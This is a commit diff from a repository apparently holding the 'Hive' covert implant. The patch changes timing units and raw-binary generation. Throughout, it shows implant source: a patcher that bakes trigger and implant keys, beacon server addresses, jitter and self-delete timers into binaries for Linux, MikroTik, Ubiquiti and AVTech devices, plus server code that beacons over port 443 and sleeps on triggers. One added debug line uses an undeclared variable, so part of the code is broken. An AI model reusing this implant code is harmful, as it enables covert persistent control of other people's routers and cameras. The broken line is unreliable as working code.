Projects STRLCPY Vault-8-Hive Commits 6952b949
🤬
  • Remove need for additional parameters when generating raw (unpatched) binaries with patcher. Remove delay multiplier of 1000 (Sec --> mSec) in parameters previously needed for MS Windows compatibility.

  • Loading...
  • User #142 committed 9 years ago
    6952b949
    1 parent 58314b5b
  • ■ ■ ■ ■ ■ ■
    client/patcher.c
    skipped 50 lines
    51 51  //********************************************************************************
    52 52   
    53 53  #define SIG_HEAD 0x7AD8CFB6
    54  -#define DEFAULT_INITIAL_DELAY 3 * 60 * 1000 // 3 minutes
     54 +#define DEFAULT_INITIAL_DELAY 3 * 60 // 3 minutes
    55 55  #define DEFAULT_BEACON_PORT 443 // TCP port 443 (HTTPS)
    56 56  #define DEFAULT_BEACON_INTERVAL 0 // operators did not want a default value
    57  -#define DEFAULT_TRIGGER_DELAY 60 * 1000 // 60 seconds
     57 +#define DEFAULT_TRIGGER_DELAY 60 // 60 seconds
    58 58  #define DEFAULT_BEACON_JITTER 3 // Default value is 3, range is from 0<=jitter<=30
    59 59  #define DEFAULT_SELF_DELETE_DELAY 60 * 24 * 60 * 60 // Default value is 60 days...
    60 60   
    skipped 133 lines
    194 194   break;
    195 195   
    196 196   case 'd': // initial delay
    197  - args.init_delay = strtoul(optarg, NULL, 10) * 1000;
     197 + args.init_delay = strtoul(optarg, NULL, 10);
    198 198   break;
    199 199   
    200 200   case 'h': // Help
    skipped 1 lines
    202 202   break;
    203 203   
    204 204   case 'i': // beacon interval
    205  - args.interval = (unsigned int) atoi(optarg) * 1000;
     205 + args.interval = (unsigned int) atoi(optarg);
    206 206   break;
    207 207   
    208 208   case 'j': // beacon jitter
    skipped 171 lines
    380 380   break;
    381 381   
    382 382   case 't': // trigger delay
    383  - args.trigger_delay = (unsigned int) atoi(optarg) * 1000;
     383 + args.trigger_delay = (unsigned int) atoi(optarg);
    384 384   break;
    385 385   
    386 386   default:
    skipped 3 lines
    390 390   }
    391 391   }
    392 392   
     393 + if (raw == 1) {
     394 + printf("Creating raw unpatched binaries for all supported architectures...");
     395 + 
     396 + remove(HIVE_LINUX_X86_UNPATCHED);
     397 + remove(HIVE_MIKROTIK_X86_UNPATCHED);
     398 + remove(HIVE_MIKROTIK_MIPS_UNPATCHED);
     399 + remove(HIVE_MIKROTIK_PPC_UNPATCHED);
     400 + remove(HIVE_UBIQUITI_MIPS_UNPATCHED);
     401 + remove(HIVE_AVTECH_ARM_UNPATCHED);
     402 + 
     403 + non_patch(HIVE_LINUX_X86_UNPATCHED, hived_linux_x86_unpatched, hived_linux_x86_unpatched_len);
     404 + non_patch(HIVE_MIKROTIK_X86_UNPATCHED, hived_mikrotik_x86_unpatched, hived_mikrotik_x86_unpatched_len);
     405 + non_patch(HIVE_MIKROTIK_MIPS_UNPATCHED, hived_mikrotik_mips_unpatched, hived_mikrotik_mips_unpatched_len);
     406 + non_patch(HIVE_MIKROTIK_PPC_UNPATCHED, hived_mikrotik_ppc_unpatched, hived_mikrotik_ppc_unpatched_len);
     407 + non_patch(HIVE_UBIQUITI_MIPS_UNPATCHED, hived_ubiquiti_mips_unpatched, hived_ubiquiti_mips_unpatched_len);
     408 + non_patch(HIVE_AVTECH_ARM_UNPATCHED, hived_avtech_arm_unpatched, hived_avtech_arm_unpatched_len);
     409 + printf("done.\n");
     410 + return 0;
     411 + }
     412 + 
    393 413   if (! keyed) { // Verify that a key was supplied
    394 414   printf("\n %sERROR: Key missing%s\n ", RED, RESET);
    395 415   usage(argv);
    skipped 28 lines
    424 444   }
    425 445   }
    426 446   
    427  - if (raw == 0) {
    428  - if (args.init_delay > 0) { // Beacons enabled
    429  - if ((args.beacon_port == 0) || (args.interval == 0) || (strlen(args.beacon_ip) == 0)) {
    430  - printf("\n");
    431  - printf(" %sERROR: Incomplete options%s\n", RED, RESET);
    432  - usage(argv);
    433  - return -1;
    434  - }
    435  - // Enforce 0 <= jitter <= 30 requirement.
    436  - if (((int) args.jitter < 0) || (args.jitter > 30)) {
    437  - printf("\n");
    438  - printf(" %sError: Incorrect options%s\n", RED, RESET);
    439  - usage(argv);
    440  - return -1;
    441  - }
     447 + 
     448 + if (args.init_delay > 0) { // Beacons enabled
     449 + if ((args.beacon_port == 0) || (args.interval == 0) || (strlen(args.beacon_ip) == 0)) {
     450 + printf("\n");
     451 + printf(" %sERROR: Incomplete options%s\n", RED, RESET);
     452 + usage(argv);
     453 + return -1;
    442 454   }
     455 + // Enforce 0 <= jitter <= 30 requirement.
     456 + if (((int) args.jitter < 0) || (args.jitter > 30)) {
     457 + printf("\n");
     458 + printf(" %sError: Incorrect options%s\n", RED, RESET);
     459 + usage(argv);
     460 + return -1;
     461 + }
     462 + }
    443 463   
    444  - if ( (linux_x86 == 0) &&
    445  - (mikrotik_x86 == 0) &&
    446  - (mikrotik_mips == 0) && (mikrotik_ppc == 0) &&
    447  - (ubiquiti_mips == 0) &&
    448  - (avtech_arm == 0)
    449  - ) { // no OS was selected, so default is to build all
    450  - linux_x86 = 1;
    451  - mikrotik_x86 = 1;
    452  - mikrotik_mips = 1;
    453  - mikrotik_ppc = 1;
    454  - ubiquiti_mips = 1;
    455  - avtech_arm = 1;
    456  - }
     464 + if ( (linux_x86 == 0) &&
     465 + (mikrotik_x86 == 0) &&
     466 + (mikrotik_mips == 0) && (mikrotik_ppc == 0) &&
     467 + (ubiquiti_mips == 0) &&
     468 + (avtech_arm == 0)
     469 + ) { // no OS was selected, so default is to build all
     470 + linux_x86 = 1;
     471 + mikrotik_x86 = 1;
     472 + mikrotik_mips = 1;
     473 + mikrotik_ppc = 1;
     474 + ubiquiti_mips = 1;
     475 + avtech_arm = 1;
     476 + }
    457 477   
    458  - printf("\n");
    459  - printf(" This application will generate PATCHED files with the following values:\n\n");
    460  - printf("\t%32s: %-s\n", "Primary DNS Server IP address", args.dns[0]);
    461  - printf("\t%32s: %-s\n", "Secondary DNS Server IP address", args.dns[1]);
    462  - printf("\t%32s: ", "Trigger Key"); printSha1Hash(stdout, "", triggerKey); printf("\n");
    463  - printf("\t%32s: ", "Implant Key"); printSha1Hash(stdout, "", implantKey); printf("\n");
    464  - if (args.init_delay > 0) {
    465  - printf("\n\t%32s: %-s\n", "Beacon Server IP address", host);
    466  - printf("\t%32s: %-d\n", "Beacon Server Port number", args.beacon_port);
    467  - printf("\t%32s: %-lu\n", "Beacon Initial Delay (sec)", args.init_delay / 1000);
    468  - printf("\t%32s: %-d\n", "Beacon Interval (sec)", args.interval / 1000);
    469  - printf("\t%32s: %-d\n", "Beacon Jitter (%)", args.jitter);
    470  - } else {
    471  - printf("\n\t%32s\n", "Beacons Disabled");
    472  - }
    473  - printf("\n\t%32s: %-lu\n", "Self Delete Delay (sec)", args.delete_delay);
    474  - printf("\t%32s: %-s\n", "Self Delete Control File Path", args.sdpath);
    475  - printf("\t%32s: %-d\n", "Trigger Delay (+/-30 sec)", args.trigger_delay / 1000);
     478 + printf("\n");
     479 + printf(" This application will generate PATCHED files with the following values:\n\n");
     480 + printf("\t%32s: %-s\n", "Primary DNS Server IP address", args.dns[0]);
     481 + printf("\t%32s: %-s\n", "Secondary DNS Server IP address", args.dns[1]);
     482 + printf("\t%32s: ", "Trigger Key"); printSha1Hash(stdout, "", triggerKey); printf("\n");
     483 + printf("\t%32s: ", "Implant Key"); printSha1Hash(stdout, "", implantKey); printf("\n");
     484 + if (args.init_delay > 0) {
     485 + printf("\n\t%32s: %-s\n", "Beacon Server IP address", host);
     486 + printf("\t%32s: %-d\n", "Beacon Server Port number", args.beacon_port);
     487 + printf("\t%32s: %-lu\n", "Beacon Initial Delay (sec)", args.init_delay);
     488 + printf("\t%32s: %-d\n", "Beacon Interval (sec)", args.interval);
     489 + printf("\t%32s: %-d\n", "Beacon Jitter (%)", args.jitter);
     490 + } else {
     491 + printf("\n\t%32s\n", "Beacons Disabled");
    476 492   }
     493 + printf("\n\t%32s: %-lu\n", "Self Delete Delay (sec)", args.delete_delay);
     494 + printf("\t%32s: %-s\n", "Self Delete Control File Path", args.sdpath);
     495 + printf("\t%32s: %-d\n", "Trigger Delay (+/-30 sec)", args.trigger_delay);
     496 + 
    477 497   
    478 498   printf("\n Target Operating Systems:\n");
    479 499   
    480 500   // little endian systems targets
    481 501   
    482  - if (linux_x86 == 1 || raw == 1) printf(" . Linux/x86\n");
    483  - if (mikrotik_x86 == 1 || raw == 1) printf(" . MikroTik/x86\n");
    484  - if (mikrotik_mips == 1 || raw == 1) printf(" . MikroTik/MIPS\n");
    485  - if (mikrotik_ppc == 1 || raw == 1) printf(" . MikroTik/PPC\n");
    486  - if (ubiquiti_mips == 1 || raw == 1) printf(" . Ubiquiti/MIPS\n");
    487  - if (avtech_arm == 1 || raw == 1) printf(" . AVTech/ARM\n");
     502 + if (linux_x86 == 1) printf(" . Linux/x86\n");
     503 + if (mikrotik_x86 == 1) printf(" . MikroTik/x86\n");
     504 + if (mikrotik_mips == 1) printf(" . MikroTik/MIPS\n");
     505 + if (mikrotik_ppc == 1) printf(" . MikroTik/PPC\n");
     506 + if (ubiquiti_mips == 1) printf(" . Ubiquiti/MIPS\n");
     507 + if (avtech_arm == 1) printf(" . AVTech/ARM\n");
    488 508   
    489  - if (raw == 0) {
    490  - cl_string((unsigned char *) args.dns[0], sizeof(args.dns[0]));
    491  - cl_string((unsigned char *) args.dns[1], sizeof(args.dns[1]));
    492  - cl_string((unsigned char *) args.beacon_ip, sizeof(args.beacon_ip));
    493  - cl_string((unsigned char *) args.sdpath, sizeof(args.sdpath));
    494  - }
     509 + cl_string((unsigned char *) args.dns[0], sizeof(args.dns[0]));
     510 + cl_string((unsigned char *) args.dns[1], sizeof(args.dns[1]));
     511 + cl_string((unsigned char *) args.beacon_ip, sizeof(args.beacon_ip));
     512 + cl_string((unsigned char *) args.sdpath, sizeof(args.sdpath));
    495 513   
    496 514   remove(HIVE_LINUX_X86_FILE);
    497 515   remove(HIVE_MIKROTIK_X86_FILE);
    skipped 2 lines
    500 518   remove(HIVE_UBIQUITI_MIPS_FILE);
    501 519   remove(HIVE_AVTECH_ARM_FILE);
    502 520   
    503  - remove(HIVE_LINUX_X86_UNPATCHED);
    504  - remove(HIVE_MIKROTIK_X86_UNPATCHED);
    505  - remove(HIVE_MIKROTIK_MIPS_UNPATCHED);
    506  - remove(HIVE_MIKROTIK_PPC_UNPATCHED);
    507  - remove(HIVE_UBIQUITI_MIPS_UNPATCHED);
    508  - remove(HIVE_AVTECH_ARM_UNPATCHED);
    509 521   
    510 522   sleep(1);
    511 523   
    512  - if (raw == 1) {
    513  - printf("\n");
    514  - non_patch(HIVE_LINUX_X86_UNPATCHED, hived_linux_x86_unpatched, hived_linux_x86_unpatched_len);
    515  - non_patch(HIVE_MIKROTIK_X86_UNPATCHED, hived_mikrotik_x86_unpatched, hived_mikrotik_x86_unpatched_len);
    516  - non_patch(HIVE_MIKROTIK_MIPS_UNPATCHED, hived_mikrotik_mips_unpatched, hived_mikrotik_mips_unpatched_len);
    517  - non_patch(HIVE_MIKROTIK_PPC_UNPATCHED, hived_mikrotik_ppc_unpatched, hived_mikrotik_ppc_unpatched_len);
    518  - non_patch(HIVE_UBIQUITI_MIPS_UNPATCHED, hived_ubiquiti_mips_unpatched, hived_ubiquiti_mips_unpatched_len);
    519  - non_patch(HIVE_AVTECH_ARM_UNPATCHED, hived_avtech_arm_unpatched, hived_avtech_arm_unpatched_len);
    520  - }
    521 524  // We start as Little Endian. If the binary is detected as Big Endian, then the structure
    522 525  // is changed to Big Endian. Since these changes are made in a global variable used by all
    523 526  // parsers, check for Little Endian variants first and the Big Endian possibilities next.
    skipped 117 lines
  • ■ ■ ■ ■ ■ ■
    server/beacon.c
    skipped 51 lines
    52 52   int jitterRange = 0;
    53 53   
    54 54   jitterRange = baseTime * jitterPercent;
     55 + if (jitterRange == 0)
     56 + return 0;
     57 + 
    55 58   // Determine if the jitter will be positive or negative.
    56 59   if (rand() > RAND_MAX / 2) {
    57 60   return rand() % jitterRange; //make it positive
    skipped 46 lines
    104 107   } else {
    105 108   break;
    106 109   }
    107  - // TODO: should this be Sleep( 60 * 100 ); ???
    108  - sleep(60);
     110 + sleep(60); // Sleep for 1 minute
    109 111   }
    110 112   if (make_thread(beacon, (void *) beaconInfo) != SUCCESS) {
    111 113   DLX(1, printf(" ERROR: failed to create beacon thread\n"));
    skipped 18 lines
    130 132   DLX(4, printf("\t%32s: %-d\n", "Beacon Server Port", beaconInfo->port));
    131 133   DLX(4, printf("\t%32s: %-s\n", "Primary DNS Server IP Address", beaconInfo->dns[0]));
    132 134   DLX(4, printf("\t%32s: %-s\n", "Secondary DNS Server IP Address", beaconInfo->dns[1]));
    133  - DLX(4, printf("\t%32s: %-lu\n", "Initial Beacon Delay (sec)", beaconInfo->initDelay/1000));
    134  - DLX(4, printf("\t%32s: %-i\n", "Beacon Interval (sec)", beaconInfo->interval/1000));
    135  - DLX(4, printf("\t%32s: %-f\n\n", "Beacon Variance (%)", beaconInfo->percentVariance));
     135 + DLX(4, printf("\t%32s: %-lu\n", "Initial Beacon Delay (sec)", beaconInfo->initDelay));
     136 + DLX(4, printf("\t%32s: %-i\n", "Beacon Interval (sec)", beaconInfo->interval));
     137 + DLX(4, printf("\t%32s: %-f\n\n", "Beacon Variance", beaconInfo->percentVariance));
    136 138   
    137  - DLX(4, printf("\nStarting beacon thread with initial beacon delay of %ld seconds\n", beaconInfo->initDelay / 1000));
    138  - if (beaconInfo->percentVariance > 0)
    139  - Sleep(beaconInfo->initDelay + calc_jitter(beaconInfo->initDelay, beaconInfo->percentVariance)); // Wait for initial delay + jitter
     139 + { // Determine the initial beacon delay
     140 + int initial_beacon_delay;
     141 + 
     142 + initial_beacon_delay = beaconInfo->percentVariance > 0 ?
     143 + beaconInfo->initDelay + calc_jitter(beaconInfo->initDelay, beaconInfo->percentVariance) : beaconInfo->initDelay;
     144 + 
     145 + DLX(4, printf("\nStarting beacon thread with initial beacon delay of %ld seconds\n", beacon_delay));
     146 + sleep(initial_beacon_delay);
     147 + }
    140 148   
    141 149   for (;;) { // Beacon Loop
    142 150   secondsUp = GetSystemUpTime(); // Get system uptime
    skipped 10 lines
    153 161   }
    154 162   
    155 163   // Resolve beacon IP address
    156  - if (inet_pton(AF_INET, beaconInfo->host, &beaconIPaddr) <= 0) { // Determine if beacon host is an name or dotted-quad address
     164 + if (inet_pton(AF_INET, beaconInfo->host, &beaconIPaddr) <= 0) { // Determine if beacon host is a name or dotted-quad address
    157 165   for (i = 0; i < 2; i++) {
    158 166   if (strlen(beaconInfo->dns[i]))
    159 167   DLX(4, printf("\tPerforming DNS lookup for %s using DNS server at %s.\n", beaconInfo->host, beaconInfo->dns[i]));
    skipped 19 lines
    179 187   Free(beaconInfo->ip);
    180 188   
    181 189   sleep:
    182  - DLX(4, printf("\tSending next beacon in %d seconds.\n", beaconInterval / 1000));
    183  - Sleep(beaconInterval); //Sleep for the length of the interval
     190 + DLX(4, printf("\tSending next beacon in %d seconds.\n", beaconInterval));
     191 + sleep(beaconInterval); // Sleep for the length of the interval
    184 192   
    185 193   }
    186 194   
    skipped 120 lines
    307 315   // Next-beacon time in seconds
    308 316   next_beacon_hdr.type = htons(NEXT_BEACON_TIME);
    309 317   memset(temp, 0, 1024);
    310  - sprintf(temp, "%d", (next_beacon / 1000));
     318 + sprintf(temp, "%d", next_beacon);
    311 319   
    312 320   next_beacon_len = strlen(temp);
    313 321   next_beacon_hdr.length = htons(next_beacon_len);
    skipped 358 lines
  • ■ ■ ■ ■ ■ ■
    server/compat.h
    skipped 23 lines
    24 24  #endif
    25 25   
    26 26  #define closesocket(x) close(x)
    27  -#define Sleep(x) sleep(x/1000)
    28 27  #define sprintf_s(x, ...) snprintf(x, __VA_ARGS__)
    29 28  #define SOCKET_ERROR -1
    30 29  #define INVALID_SOCKET ~0
    31 30  #define USHORT unsigned short
    32 31   
    33 32  #define UPTIME_STR_LEN 256
    34  -#define DEFAULT_INITIAL_DELAY 3 * 60 * 1000 // 3 minutes
     33 +#define DEFAULT_INITIAL_DELAY 3 * 60 // 3 minutes
    35 34  #define DEFAULT_BEACON_PORT 443 // TCP port 443 (HTTPS)
    36 35  #define DEFAULT_BEACON_INTERVAL 0 // operators did not want a default beacon interval
    37  -#define DEFAULT_TRIGGER_DELAY 60 * 1000 // 60 seconds
    38  -#define DEFAULT_BEACON_JITTER 3 //integer for percentage of variance [0-30] range
     36 +#define DEFAULT_TRIGGER_DELAY 60 // 60 seconds
     37 +#define DEFAULT_BEACON_JITTER 3 // integer for percentage of variance [0-30] range
    39 38   
    40  -#define SELF_DEL_TIMEOUT 60 * 60 * 24 * 60 //60 secs * 60 mins * 24 hours * 60 days ( No *1000 is used )
    41  -//#define SELF_DEL_TIMEOUT 60 * 3
     39 +#define SELF_DEL_TIMEOUT 60 * 60 * 24 * 60 // 60 secs * 60 mins * 24 hours * 60 days
    42 40   
    43 41  #ifndef SUCCESS
    44 42  #define SUCCESS 0
    skipped 20 lines
  • ■ ■ ■ ■ ■ ■
    server/main.c
    skipped 187 lines
    188 188   printf("\t%32s: %-d\n", "Beacon Server Port number", args.beacon_port);
    189 189   printf("\t%32s: %-s\n", "Primary DNS Server IP address", args.dns[0]);
    190 190   printf("\t%32s: %-s\n", "Secondary DNS Server IP address", args.dns[1]);
    191  - printf("\t%32s: %-lu\n", "Beacon Initial Delay (sec)", args.init_delay / 1000);
    192  - printf("\t%32s: %-d\n", "Beacon Interval (sec)", args.interval / 1000);
     191 + printf("\t%32s: %-lu\n", "Beacon Initial Delay (sec)", args.init_delay);
     192 + printf("\t%32s: %-d\n", "Beacon Interval (sec)", args.interval);
    193 193   printf("\t%32s: %-d\n", "Beacon Jitter (%)", args.jitter);
    194 194   printf("\t%32s: %-lu\n", "Self Delete Delay (sec)", args.delete_delay);
    195 195   printf("\t%32s: %-s\n", "Self Delete Control File Path", sdpath);
    196  - printf("\t%32s: %-d\n\n", "Trigger Delay (+/-30 sec)", args.trigger_delay / 1000);
     196 + printf("\t%32s: %-d\n\n", "Trigger Delay (+/-30 sec)", args.trigger_delay);
    197 197  #endif
    198 198   
    199 199   goto patched_binary;
    skipped 24 lines
    224 224  #endif
    225 225   
    226 226   case 'd':
    227  - // user enters delay in seconds and this is converted to milliseconds
    228 227   // If set to 0, this will disable all beacons...
    229  - beaconInfo.initDelay = strtoul(optarg, NULL, 0) * 1000;
     228 + beaconInfo.initDelay = strtoul(optarg, NULL, 0);
    230 229   break;
    231 230   
    232 231   case 'i':
    233  - // user enters delay in seconds and this is converted to milliseconds
    234  - beaconInfo.interval = atoi(optarg) * 1000;
     232 + beaconInfo.interval = atoi(optarg);
    235 233   break;
    236 234   
    237 235   case 'j':
    skipped 102 lines
    340 338   break;
    341 339   
    342 340   case 's':
    343  - // user enters self delete delay in seconds, this is NOT converted to milliseconds since Sleep is not used...
    344  - //delete_delay = atoi(optarg);
    345 341   delete_delay = strtoul(optarg, NULL, 10);
    346 342   break;
    347 343   
    348 344   case 't':
    349  - // user enters delay in seconds and this is converted to milliseconds
    350  - trigger_delay = atoi(optarg) * 1000;
     345 + trigger_delay = atoi(optarg);
    351 346   break;
    352 347   
    353 348   default:
    skipped 88 lines
    442 437   printf("\t%32s: %-d\n", "Beacon Server Port", beaconInfo.port);
    443 438   printf("\t%32s: %-s\n", "Primary DNS Server IP Address", beaconInfo.dns[0]);
    444 439   printf("\t%32s: %-s\n", "Secondary DNS Server IP Address", beaconInfo.dns[1]);
    445  - printf("\t%32s: %-lu\n", "Initial Beacon Delay (sec)", beaconInfo.initDelay/1000);
    446  - printf("\t%32s: %-i\n", "Beacon Interval (sec)", beaconInfo.interval/1000);
     440 + printf("\t%32s: %-lu\n", "Initial Beacon Delay (sec)", beaconInfo.initDelay);
     441 + printf("\t%32s: %-i\n", "Beacon Interval (sec)", beaconInfo.interval);
    447 442   printf("\t%32s: %-f\n\n", "Beacon Variance (%)", beaconInfo.percentVariance);
    448 443  #endif
    449 444   
    skipped 96 lines
  • ■ ■ ■ ■ ■ ■
    server/trigger_listen.c
    skipped 86 lines
    87 87   unsigned int delay = 0;
    88 88   
    89 89   CalcVariance( &variance, 30);
    90  - DLX(4, printf("Calculated trigger delay variance: %d seconds\n", variance / 1000));
     90 + DLX(4, printf("Calculated trigger delay variance: %d seconds\n", variance));
    91 91   
    92  - calc_delay += trigger_delay + ( variance * 1000 );
    93  - delay = MAX( 1000, calc_delay ); // this creates a minimum value of 1 second
    94  - DLX(4, printf( "Preparing to sleep %d seconds.\n", delay / 1000));
    95  - Sleep( delay );
    96  -// Sleep( MAX(trigger_delay,(30 * 1000)) + (variance * 1000));
     92 + calc_delay += trigger_delay + variance;
     93 + delay = MAX(1, calc_delay); // this creates a minimum value of 1 second
     94 + DLX(4, printf( "Preparing to sleep %d seconds.\n", delay));
     95 + sleep(delay);
    97 96   
    98 97   return;
    99 98  }
    skipped 206 lines
Please wait...
Page is in error, reload to recover